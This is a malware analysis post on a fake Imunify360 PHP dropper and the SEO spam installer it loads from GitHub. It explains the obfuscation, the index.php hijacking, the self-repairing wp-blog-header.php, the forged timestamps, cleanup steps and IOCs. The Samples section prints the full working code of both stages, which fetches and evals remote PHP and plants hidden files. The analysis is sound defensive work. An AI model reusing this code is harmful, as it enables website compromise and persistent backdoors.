Fake Imunify360 Dropper Loads an SEO Spam Installer From a Public GitHub Repo

Table of Contents
This dropper is named after a real hosting security product, Imunify360, which a lot of shared hosts run to scan for malware. The attacker uses the name on the function and in a setting, so the file looks like part of the host’s security stack. It isn’t. All it does is download PHP from GitHub and run it.
The interesting part is what it downloads. The GitHub repo is still public, so I could read the whole second stage. This post covers both.
Stage 1: The Dropper#
The dropper is a single index.php. Here are the first lines:
<?=
error_reporting(0);
define('SECURE_ACCESS', true);
header('X-Powered-By: none');
header('Content-Type: text/html; charset=UTF-8');
ini_set('lsapi_backend_off', '1');
http_response_code(403);
ini_set("imunify360.cleanup_on_restore", false);
http_response_code(404);
What I can say about each line:
<?=is the short echo tag, so this line prints the return value oferror_reporting(0), which is the previous error level. I ran the line and it prints a stray number (30719in my test) at the top of the page. It’s a sloppy tell: the output of a “missing” page starts with a number.error_reporting(0)hides all PHP errors, including any from the code that follows.X-Powered-By: noneremoves the PHP version header.- The status code is set to
403and then immediately to404, so the last one wins. The goal is for anything that checks the HTTP status (a scanner, a monitoring tool, a crawler) to see a missing page while the payload runs. This only works if PHP output buffering is on. I tested the same lines on a local PHP server: withoutput_buffering=4096(a common production default) the response was a 404, but withoutput_buffering=0the stray number from the<?=line is sent first, theheader()calls silently fail, and the response stays 200. So the trick is host dependent. lsapi_backend_offandimunify360.cleanup_on_restoreare the two settings I couldn’t verify. I searched for both and found no documentation for either. They look like attempts to interfere with LiteSpeed or Imunify360 behavior, but I can’t tell you what they actually do, and they may do nothing. I’d treat them as part of the camouflage.
Building the function names#
The rest of the file is a download function named imunify(). It avoids ever writing the names of the functions it needs:
$fpn = "f"."o"."p"."e"."n";
$strim = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$fgt = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$cexec = "c"."u"."r"."l"."_"."e"."x"."e"."c";
A scanner that looks for file_get_contents( or curl_exec( won’t see them, because the strings only exist after PHP joins them at runtime. It tries cURL first, then file_get_contents, then fopen + stream_get_contents, so it works on hosts that disable some of these.
Finally it fetches and runs the payload:
$secure = imunify('hxxps://raw[.]githubusercontent[.]com/35ww3qq/7667/refs/heads/main/ff.php');
eval('?>' . $secure);
Starting the eval’d string with ?> drops out of PHP mode first, so the payload can be written like a normal PHP file, with its own <?php tag.
There’s no cookie, key, or allow-list check. The payload is fetched and run on every request to this file, and the cURL call has no timeout. If GitHub is unreachable the request just hangs. Compare this with the dead drop loaders I wrote up earlier: there, the moving part was a one-line URL file. Here it’s the whole second stage, hosted on GitHub.
Stage 2: ff.php#
As of 2026-10-24 the repo 35ww3qq/7667 and the ff.php file are both still live. I downloaded the file as text into an empty folder and read it without running it. I did not contact any of the attacker’s other servers.
The repo itself says more than the file does:
- The GitHub account
35ww3qqwas created in April 2024 and has 12 public repos and no followers. The7667repo was created on 2024-11-14, and was last pushed on 2025-01-03. - Besides
ff.php, the repo hasa.php,gh1.txt,vv.txt, and a full web application:login.php,register.php,forgot-password.php,reset-password.php,logout.php, apanel/folder, acron/folder, and adatabase.sqlfile. Registration and password reset pages suggest a multi-user control panel. I didn’t dig into it. - There’s also a 103 KB
error_logfile committed to the repo. I haven’t opened it. Logs like that often contain details about real servers, so anyone who does should handle it with care.
What ff.php does#
Housekeeping. It reads the optional query parameters (q, tm, root), then deletes files that might expose the infection or help the owner: robots.txt, sitemap.xml, error_log, ads.txt, and any google*.html verification file. Those last ones are what you’d use to prove site ownership to Google.
A plain request with no q parameter doesn’t run anything. It prints a single link and exits:
<a href="?q=2&t=<unix time>">DB_auto11.</a>
That DB_auto11. link is a handy fingerprint. If you load a suspicious file and it shows only that, you’ve found the installer.
Getting its config. It requests a URL built from chr() calls, spoofing a Bing crawler user-agent:
$uc = urla(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(97)...'W.php');
Decoded, that is hxxp://auto1022[.]dataablog[.]com/_api_auto_241206_W.php. The 241206 looks like a date stamp (2024-12-06), but that’s a guess. The response has to be longer than 999 characters and contain a semicolon, otherwise the script tries to delete itself and prints Auto_Failure. It is then split on ; into a list. From the code, the list is used like this:
| Slot | Use |
|---|---|
| 0 | base64 .htaccess |
| 1 | URL of an extra file to download |
| 3 | base64 PHP doorway code |
| 4 to 10 | base64 PHP files to plant |
| 9 | base64 file for wp-includes/fonts/index.php (or feed-rss.php on non-WordPress sites) |
| 11 | directory name (defaults to blog) |
| 12 | URL of a stylesheet saved as styles.css |
I haven’t seen the config. It’s served by the attacker’s server, so I can’t tell you what the doorway code or the planted files contain.
Hijacking index.php. On a WordPress site, the installer does three things:
- Writes the doorway code to a hidden file named
.htplus four random lowercase letters, such as.htqkrm. The.htprefix is chosen because web servers refuse to serve files starting with.ht, and most admins ignore them. - Replaces
index.phpwith the doorway code followed by the normal WordPress loader:
$wpindex = $hycode.'<?php define("WP_USE_THEMES",true); require __DIR__."/wp-blog-header.php";?>';
The site keeps working, so nobody notices, but the doorway code runs first on every visit to the home page.
- Overwrites
wp-blog-header.phpwith a version that repairsindex.php. It checks the file size ofindex.phpand, if it doesn’t match, rewrites it from a base64 copy:
$A="index.php";
if(@filesize($A)!=<length>){
$f=@fopen($A,"w");
@fwrite($f,base64_decode("..."));
@fclose($f);
}
if (!isset($wp_did_header)){ ... require_once ABSPATH.WPINC."/template-loader.php"; }
It then continues with the normal WordPress startup. This is the same idea as the query.php watchdog, and it has the same effect on cleanups: if you fix index.php without fixing wp-blog-header.php, it comes back.
On a site that isn’t WordPress, it prepends a short include(".ht....") line to the existing index.php. The old file is renamed to index.php.bak first. If there is no index.php, it creates one that tries to include index.html, _index.html, or _index.htm, and renames the originals to match.
Then it deletes .htaccess, writes the one from the config, and calls opcache_reset() so PHP picks up the new files immediately.
Forged timestamps. Every file it writes gets a modification time, using this function:
function mtime() {
$time = time()-rand(10,100)*86400;
$tArr = glob(W.'/*.php');
foreach($tArr as $v) { $time2 = @filemtime($v); if($time2>100&&$time2<$time) $time = $time2; }
return $time;
}
It picks the oldest .php file in the site root (or a random date 10 to 100 days ago, whichever is older). New files then get that time plus a few seconds (mkfile() also randomizes by up to an hour). Sorting by “recently modified” in a file manager will not show them. As in the other samples, this means timestamps can’t be used to decide whether a file is clean.
Scattering files. enfile() plants the PHP files from the config around the site:
- In the site root, three files named
wp-e<random>.php,wp-m<random>.phpandwp-l<random>.php, which look like WordPress core files. (It also createswp-admin,wp-contentandwp-includesif they’re missing.) - In up to four random subdirectories that don’t already have an
index.php, files calledindex.php(three of them) andx<random>.php(one). The loop stops after seven files in total. wp-includes/fonts/index.php, plus one moreindex.phpin a random lowercase directory underwp-content/.
The installer’s own status line labels this step SH:. It would be reasonable to guess that some of those files are shells, but without the config I can’t confirm that.
Reporting back. At the end it prints a status line to the HTTP response, with ;; as the separator: the site’s URL with a ?<letter>=10091 marker, the theme character, and db261. Whatever called ff.php (probably the panel in that repo) can read that to learn which files were written.
The Dropper’s Unused Constant#
The dropper defines SECURE_ACCESS as true. Nothing in ff.php checks it, so it either is a leftover, or it is used by planted files whose code I can’t see. I wouldn’t read anything into it.
Detection & Cleanup#
- Search PHP files for
raw[.]githubusercontent[.]comtogether witheval(. A function namedimunifyoutside of an Imunify360 install is a strong hit. (Imunify360 is a standalone product and is not installed as a PHP function in your web root.) - Look for hidden files that begin with
.htand aren’t.htaccessor.htpasswd. A file such as.htqkrmin the web root is not normal. - Compare
wp-blog-header.phpagainst a clean WordPress copy. The real one is about a dozen lines.wp core verify-checksumswill flag it, andindex.phptoo. - Check for new
wp-e*.php,wp-m*.phpandwp-l*.phpin the web root,wp-includes/fonts/index.php, and anyindex.phporx*.phpin directories that never had one. - Order matters. Remove the repair stub in
wp-blog-header.phpand the dropper before you restoreindex.php, or it will be overwritten again. Also review.htaccess; it will have been replaced. - Block outbound requests from PHP to
raw[.]githubusercontent[.]comif the site has no reason to make them, and watch for requests todataablog[.]com. - If the site had a Google verification file such as
google*.html, it’s been deleted, so check Search Console for lost ownership.
IOCs#
Dropper: function imunify($url) ... eval('?>' . $secure)
Stage 2: hxxps://raw[.]githubusercontent[.]com/35ww3qq/7667/refs/heads/main/ff.php
GitHub: github[.]com/35ww3qq/7667 (account created 2024-04-06, repo 2024-11-14)
Config: hxxp://auto1022[.]dataablog[.]com/_api_auto_241206_W.php
Output: "DB_auto11." link, "Auto_Failure", ";;" separators, "db261"
Files: .ht<4 lowercase letters>, wp-e*.php, wp-m*.php, wp-l*.php,
wp-includes/fonts/index.php, feed-rss.php, index.php.bak, styles.css
Modified: index.php, wp-blog-header.php, .htaccess
User-Agent used by installer: Mozilla/5.0 (compatible; bingbot/2.0; hxxp://www[.]bing[.]com/bingbot)
Samples#
index.php (dropper)
<?=
error_reporting(0);
define('SECURE_ACCESS', true);
header('X-Powered-By: none');
header('Content-Type: text/html; charset=UTF-8');
ini_set('lsapi_backend_off', '1');
http_response_code(403);
ini_set("imunify360.cleanup_on_restore", false);
http_response_code(404);
function imunify($url)
{
$fpn = "f"."o"."p"."e"."n";
$strim = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$fgt = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$cexec = "c"."u"."r"."l"."_"."e"."x"."e"."c";
if (function_exists($cexec)) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
$urls = $cexec($conn);
curl_close($conn);
} elseif (function_exists($fgt)) {
$urls = $fgt($url);
} elseif (function_exists($fpn) && function_exists($strim)) {
$handle = $fpn($url, "r");
$urls = $strim($handle);
fclose($handle);
} else {
$urls = false;
}
return $urls;
}
$secure = imunify('hxxps://raw[.]githubusercontent[.]com/35ww3qq/7667/refs/heads/main/ff.php');
eval('?>' . $secure);
?>
ff.php (stage 2, fetched from GitHub 2026-10-24)
<?php
header('Access-Control-Allow-Origin:*');
error_reporting(E_ALL);
set_time_limit(120);
ignore_user_abort(1);
$q = !empty($_GET['q']) ? trim($_GET['q']) : '';if ($q) {@unlink('robots.txt');@unlink('sitemap.xml');if($q=='4'){unlink($_SERVER['SCRIPT_FILENAME']);exit;}
$TM = !empty($_GET['tm']) ? trim($_GET['tm']) : 'w';
$W = !empty($_GET['root']) ? (int)$_GET['root'] : '2';if($W==1) {define('W', $_SERVER['DOCUMENT_ROOT']);} else {if(strstr($_SERVER['SCRIPT_FILENAME'],'\\')) $_SERVER['PHP_SELF'] = str_replace('/','\\',$_SERVER['PHP_SELF']);define('W', rtrim(str_replace($_SERVER['PHP_SELF'],'',$_SERVER['SCRIPT_FILENAME']),'/'));}$useragent = "Mozilla/5.0 (compatible; bingbot/2.0; hxxp://www[.]bing[.]com/bingbot)";$root = W; @chdir($root); clearfile();clearfile(2,'google*.html');$host = $_SERVER["HTTP_HOST"];$http = ((isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") ? 'https' : 'http').'://'.$host.'/';$hostkey = substr(preg_replace('/[w0-9\.-]/','',str_replace('www.','',$host)),0,5);$mycode = get_code();$newdir = isset($mycode[11]) ? $mycode[11] : 'blog';$hyurl = '?'.substr($hostkey,0,1).'=10091';$isWP = (file_exists('wp-includes') && file_exists('wp-content') && file_exists('wp-settings.php'));@unlink(__FILE__);msg($http.$hyurl);msg(strtoupper($TM));msg('db261');if($q>1) {try {$res = set_index(); msg($res);} catch (\Exception $E) {msg('IndexFail');}}if($q>=1) {$arpath8 = array();fi1($root);$fp2 = @fp2($root);$res3 = enfile();msg($res3);}if($q>1) {if(strlen(@$mycode[12])>10) mkfile('styles.css',@file_get_contents(@$mycode[12]));}} else {exit('<a href="?q=2&t='.time().'">DB_auto11.</a>');}function urla($url, $time=30) {global $useragent;$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');curl_setopt($ch, CURLOPT_USERAGENT, $useragent);if (stripos($url, "https:") === false) {curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);}curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, $time);$body = curl_exec($ch);curl_close($ch);return $body;}function msg($res) {if (is_array($res)&&!empty($res['msg'])) {echo implode(',',$res['msg']).';;';} else {echo $res.';;';}}function set_index() {global $root, $http, $host, $ht, $mycode, $isWP, $newdir, $hyurl, $TM;$data = array();$data['status'] = 'ok';$index_file = 'index.php';$htaccess_file = '.htaccess';$time = mtime()+2;$hycode = base64_decode($mycode[3]);$htaccess = base64_decode($mycode[0]);$hycode = str_replace('= 261;','= 261;',$hycode);if($TM!='e') $hycode = str_replace('"e"','"'.$TM.'"',$hycode);$hyfile = '.ht'.chars(4,2);mkfile($hyfile,$hycode,$time);if(!file_exists($hyfile)) {$data['msg'][] = '#NotWrite.'; return $data;}$data['msg'][] = $hyfile;if($isWP) {$data['msg'][] = 'WP:';$wpindex = $hycode.'<?php define("WP_USE_THEMES",true); require __DIR__."/wp-blog-header.php";?>';mkfile('index.php',$wpindex,$time);$A = chars(3);$restore = '$'.$A.'="index.php";if(@filesize($'.$A.')!='.strlen($wpindex).'){$f=@fopen($'.$A.',"w");@fwrite($f,base64_decode("'.base64_encode($wpindex).'"));@fclose($f);}';$restore = '<?php '.$restore.' if (!isset($wp_did_header)){$wp_did_header=true;require_once __DIR__."/wp-load.php";wp();require_once ABSPATH.WPINC."/template-loader.php";}';mkfile('wp-blog-header.php',$restore,$time);} else {$data['msg'][] = 'PHP:'; $_include = '<?php if(file_exists("'.$hyfile.'")){include("'.$hyfile.'");} ?>';if(file_exists($index_file)) { infile($index_file,$_include,1,$hyfile);} else {$_include .= '<?php if(file_exists("index.html")){include("index.html");exit;}elseif(file_exists("_index.html")){include("_index.html");exit;}else{@include("_index.htm");exit;}?>';@unlink($index_file);mkfile($index_file,$_include,$time);@rename(W.'/index.html',W.'/_index.html');@rename(W.'/index.htm',W.'/_index.htm');}}@unlink($htaccess_file);mkfile($htaccess_file,$htaccess,$time);try {function_exists('opcache_reset') && opcache_reset();} catch (\Exception $E) {}return $data;}function chars($n=5,$t=0) {$chars = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $chars[mt_rand(0, sizeof($chars) - 1)];}return ($t==1 ? strtoupper($s) : ($t==2 ? strtolower($s) : $s));}function mkfile($F,$C,$T='',$mod=0) {if(!strstr($F,W)) $F = W.'/'.$F;$dir = dirname($F);if(!empty($dir)&&!file_exists($dir)) @mkdir($dir);$fp = @fopen($F, 'w');@fwrite($fp, trim($C));@fclose($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@touch($F, $T);if($mod) @chmod($F,0444);return (file_exists($F) ? str_replace(W,'',$F) : '~');}function mtime() {$time = time()-rand(10,100)*86400;$tArr = glob(W.'/*.php');foreach($tArr as $v) { $time2 = @filemtime($v); if($time2>100&&$time2<$time) $time = $time2;}return $time;}function refile($F,$a,$b,$k) {if(!strstr($F,W)) $F = W.'/'.$F;if(file_exists($F)) {$code = @file_get_contents($F);if(!empty($code)&&!preg_match('/'.$k.'/',$code)) {$time = @filemtime($F);$code = str_replace($a,$b,$code);return mkfile($F,$code,$time+2);}return '~';}}function infile($F,$C,$T=1,$K='sitemap') {if(!strstr($F,W)) $F = W.'/'.$F;if(file_exists($F)) {$code = @file_get_contents($F);if(!empty($code)&&strpos($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $mtime = @filemtime($F);@unlink($F.'.bak');@rename($F,$F.'.bak');return mkfile($F,$code,$mtime+2);}return '~';}}function enfile() {global $root, $http, $arpath8, $fp2, $mycode, $hyurl, $isWP;$data = array();$data['msg'][] = 'SH:';$mydir = array();if(count($arpath8)<3) $mydir = array('cgi_bin',chars(5),chars(5));if($isWP) $mydir = array('wp-admin','wp-content', 'wp-includes');$dirlist = $fp2; $num = 6;if(count($dirlist)<$num) $dirlist = $arpath8;if(count($dirlist)<$num) $num = count($dirlist);if($num>1) {$ranfile = array_rand($dirlist, $num);foreach ($ranfile as $i) {array_push($mydir, $dirlist[$i]);}}elseif($num==1){array_push($mydir, $dirlist[0]);}$II = 4; foreach($mydir as $i=>$v) {if(!file_exists($v)) mkdir($v);$name = strtolower(chars(5));switch ($II){case 4:$name = 'e'.$name;break;case 5:$name = 'm'.$name;break;case 6:$name = 'l'.$name;break;case 7:case 8:case 9:$name = 'index';break;default:$name = 'x'.$name;}if(in_array($v,array('wp-admin','wp-content', 'wp-includes'))) {$file = 'wp-'.$name.'.php';} else {$file = $v.'/'.$name.'.php';}$code = base64_decode(!empty($mycode[$II]) ? $mycode[$II] : $mycode[10]);$II++;$data['msg'][] = mkfile($file,$code);if($II>10) break;}if($isWP) {$shfile = 'wp-includes/fonts/index.php';if(strlen(@$mycode[1])>10) $data['msg'][] = mkfile('wp-content/'.chars(5,2).'/index.php',@file_get_contents(@$mycode[1]));} else {$shfile = 'feed-rss.php';if(strlen(@$mycode[1])>10) $data['msg'][] = mkfile(chars(5,2).'/index.php',@file_get_contents(@$mycode[1]));}$data['msg'][] = mkfile($shfile,base64_decode($mycode[9]));return $data;}function fi1($path) {global $root, $arpath8;if ($handle = opendir($path)) {while (($file = readdir($handle)) !== false) {if ($file != "." && $file != "..") {$pfile = $path . "/" . $file;if (is_dir($pfile) && !is_link($pfile) &&!preg_match('/(__MACOSX)/',$file)) {if (substr_count(str_replace($root . '/', '', $pfile), '/') < 3) {fi1($pfile);}if (!file_exists($pfile."/index.php")) array_push($arpath8, str_replace($root . '/', '', $pfile));}}}}shuffle($arpath8);}function fp2($root) {global $root, $arpath8;$p_arr = array();$pnew_arr = array();foreach ($arpath8 as $k => $v) {$qupath = str_replace($root, "", $v);$p_arr[$k] = explode("/", $qupath);if (count($p_arr[$k]) >= 3) {$pnew_arr[] = $v;}}return $pnew_arr;}function get_code() {$a = '';$uc = urla(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(97).chr(117).chr(116).chr(111).chr(49).chr(48).chr(50).chr(50).chr(46).chr(100).chr(97).chr(116).chr(97).chr(97).chr(98).chr(108).chr(111).chr(103).chr(46).chr(99).chr(111).chr(109).chr(47).chr(95).chr(97).chr(112).chr(105).chr(95).chr(97).chr(117).chr(116).chr(111).chr(95).chr(50).chr(52).chr(49).chr(50).chr(48).chr(54).chr(95).'W.php');if(!empty($uc) && strlen($uc)>999 && strpos($uc,';')) {$a = explode(';',$uc);} else {@unlink(__FILE__);exit('Auto_Failure');}return $a;}function clearfile($t=1, $f='') {if($t==1) {@unlink(W.'/robots.txt');@unlink(W.'/sitemap.xml');@unlink(W.'/error_log');@unlink(W.'/ads.txt');} elseif($t==2){$arr = glob(W.'/'.$f);if(empty($arr)) return;foreach($arr as $v) { @unlink($v);}}} ?>